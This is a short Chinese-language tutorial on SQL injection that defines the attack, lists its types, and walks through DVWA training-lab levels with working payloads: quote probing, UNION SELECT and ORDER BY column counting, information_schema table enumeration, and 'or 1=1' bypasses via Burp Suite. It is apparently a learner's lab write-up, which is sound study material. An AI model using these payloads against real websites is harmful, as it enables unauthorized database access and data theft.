SQL注入原理
SQL注入就是通过SQL命令插入到web表单递交或输入域名页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在WEB表单中输入恶意SQL语句得到包含漏洞的网站数据库,而不是按照设计者意图去执行。
SQL注入类型
按照数据提交的方式:
GET注入、POST注入、COOKIE注入、HTTP头部注入
按照注入点类型来分:
数据型注入点、字符型注入点、搜索性注入点
按照执行效果来分:
基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入、堆叠注入、宽字节注入
DVWA-SQL注入-Low
首先注入单引号'来查看是否有注入点,报错后说明有注入点
然后判断有几个字段 ' union select 1 -- yy 报错表明字段不匹配
' union select 1,2 -- yy 说明有俩字段
后面我们就可以在information_schema 中查看我们想看的东西了
' union select table_name,1 from information_schema.tables -- yy 这句话会报错,在网上查完是因为字符编码不一样导致的,可以在数据库中直接改,也可以用hex编码一下,后面再利用在线工具解码
' union select hex(table_name),1 from information_schema.tables -- yy
DVWA-SQL注入-Medium
在Medium下我们需要用burp suite抓包改包上传,先开启代理模式,点击提交让burp suite抓包
把id那里修改后上传
返回错误
然后把id改成 1 or 1=1 #
查询成功,所以为数字注入
接下来猜有几个字段 1 order by 2 #
1 order by 3 # 报错,说明只有2字段
获取数据库
后面就可以获取自己想要的信息
DVWA-SQL注入-High
high级别下跟low级别差不多,开头用1' or 1=1 #就可以